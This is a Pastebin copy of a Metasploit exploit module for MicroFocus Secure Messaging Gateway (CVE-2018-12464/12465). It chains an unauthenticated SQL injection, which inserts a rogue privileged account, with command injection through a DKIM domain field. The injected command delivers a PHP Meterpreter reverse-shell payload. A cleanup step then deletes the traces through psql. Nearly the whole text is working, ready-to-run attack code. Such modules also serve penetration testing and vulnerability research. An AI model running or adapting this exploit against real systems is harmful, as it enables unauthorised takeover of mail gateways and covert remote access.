Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##
- # This module requires Metasploit: https://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- class MetasploitModule < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::Remote::HttpClient
- def initialize(info={})
- super(update_info(info,
- 'Name' => "MicroFocus Secure Messaging Gateway Remote Code Execution",
- 'Description' => %q{
- This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway.
- An unauthenticated user can execute a terminal command under the context of the web user.
- One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding,
- which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system.
- manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible
- to access this endpoint without having a valid session.
- Combining these vulnerabilities gives the opportunity execute operation system commands under the context
- of the web user.
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
- ],
- 'References' =>
- [
- ['URL', 'https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/'],
- ['CVE', '2018-12464'],
- ['CVE', '2018-12465'],
- ['URL', 'https://support.microfocus.com/kb/doc.php?id=7023132'],
- ['URL', 'https://support.microfocus.com/kb/doc.php?id=7023133']
- ],
- 'DefaultOptions' =>
- {
- 'Payload' => 'php/meterpreter/reverse_tcp',
- 'Encoder' => 'php/base64'
- },
- 'Platform' => ['php'],
- 'Arch' => ARCH_PHP,
- 'Targets' => [[ 'Automatic', { }]],
- 'Privileged' => false,
- 'DisclosureDate' => "Jun 19 2018",
- 'DefaultTarget' => 0
- ))
- register_options(
- [
- OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
- ]
- )
- end
- def execute_query(query)
- #
- # We have a very rare SQLi case in here. Normally, it's would be very easy to exploit it by using time-based techniques
- # but since we are able to use stacked-query approach, following form of payload is required in order to be able
- # get back the output of query !
- #
- r = rand_text_alphanumeric(3 + rand(3))
- sql = r
- sql << "') LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressPlain ON ScanEngineBindAddressPlain.idScanEngine=ScanEngineProperty.idScanEngine "
- sql << "LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressSsl ON ScanEngineBindAddressSsl.idScanEngine=ScanEngineProperty.idScanEngine "
- sql << "LEFT JOIN ScanEngineProperty AS ScanEngineEnableSsl ON ScanEngineEnableSsl.idScanEngine=ScanEngineProperty.idScanEngine; "
- sql << query
- sql << "; -- "
- sql << r
- send_request_cgi(
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri.path, 'api', '1', 'enginelist.php'),
- 'vars_post' => {
- 'appkey' => r
- }
- )
- end
- def something_went_wrong
- fail_with Failure::Unknown, 'Something went wrong'
- end
- def check
- r = rand_text_numeric(15..35)
- res = execute_query("SELECT #{r}")
- unless res
- vprint_error 'Connection failed'
- return CheckCode::Unknown
- end
- unless res.code == 200 && res.body.include?(r)
- return CheckCode::Safe
- end
- CheckCode::Vulnerable
- end
- def implant_payload(cookie)
- print_status('Creating a domain record with a malformed DKIM data')
- p = [
- {
- :id => 'temp_0',
- :Description => rand_text_alpha(5),
- :DkimList => [
- {
- :Domain => "$(php -r '#{payload.encoded}')",
- :Selector => '',
- :TempId => 'tempDkim_1'
- }
- ]
- }
- ].to_json
- res = send_request_cgi({
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_save_data.json.php'),
- 'cookie' => cookie,
- 'vars_get' => {
- 'cache' => 0,
- },
- 'vars_post' => {
- 'StateData' => '[{"ouid":1}]',
- 'SaveData' => p
- }
- })
- if res && res.code == 200 && res.body.include?('DbNodeId')
- # Defining as global variable since we need to access them later within clean up function.
- begin
- @domainid = JSON.parse(res.body)['Nodes'][0]['DbNodeId']
- @dkimid = JSON.parse(res.body)['Nodes'][1]['DbNodeId']
- rescue => e
- fail_with Failure::UnexpectedReply, "Something went horribly wrong while implanting the payload : #{e.message}"
- end
- print_good('Payload is successfully implanted')
- else
- something_went_wrong
- end
- end
- def create_user
- # We need to create an user by exploiting SQLi flaws so we can reach out to cmd injection
- # issue location where requires a valid session !
- print_status('Creating a user with appropriate privileges')
- # Defining as global variable since we need to access them later within clean up function.
- @username = rand_text_alpha_lower(5..25)
- @userid = rand_text_numeric(6..8)
- query = "INSERT INTO account VALUES (#{@userid}, 1, '#{@username}', '0', '', 1,61011);INSERT INTO UserRole VALUES (#{@userid},#{@userid},1),(#{@userid.to_i-1},#{@userid},2)"
- execute_query(query)
- res = execute_query("SELECT * FROM account WHERE loginname = '#{@username}'")
- if res && res.code == 200 && res.body.include?(@username)
- print_good("User successfully created. Username : #{@username}")
- else
- something_went_wrong
- end
- end
- def login
- print_status("Authenticating with created user")
- res = send_request_cgi(
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri.path, 'security', 'securitygate.php'),
- 'vars_post' => {
- 'username' => @username,
- 'password' => rand_text_alpha_lower(5..25),
- 'passwordmandatory' => rand_text_alpha_lower(5..25),
- 'LimitInterfaceId' => 1
- }
- )
- if res && res.code == 200 && res.body.include?('/ui/default/index.php')
- print_good('Successfully authenticated')
- cookie = res.get_cookies
- else
- something_went_wrong
- end
- cookie
- end
- def exploit
- unless check == CheckCode::Vulnerable
- fail_with Failure::NotVulnerable, 'Target is not vulnerable'
- end
- create_user
- cookie = login
- implant_payload(cookie)
- print_status('Triggering an implanted payload')
- send_request_cgi({
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_dkim_keygen_request.php'),
- 'cookie' => cookie,
- 'vars_get' => {
- 'cache' => 0,
- },
- 'vars_post' => {
- 'DkimRecordId' => @dkimid
- }
- })
- end
- def on_new_session(session)
- print_status('Cleaning up...')
- cmd = ""
- cmd << 'PGPASSWORD=postgres psql -U postgres -d SecureGateway -c "'
- cmd << "DELETE FROM account WHERE loginname ='#{@username}';"
- cmd << "DELETE FROM UserRole WHERE idaccount = #{@userid};"
- cmd << "DELETE FROM Domain WHERE iddomain = #{@domainid};"
- cmd << "DELETE FROM DkimSignature WHERE iddkimsignature = #{@dkimid};"
- cmd << '"'
- session.shell_command_token(cmd)
- end
- end
- # 0day.today [2018-07-26] #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement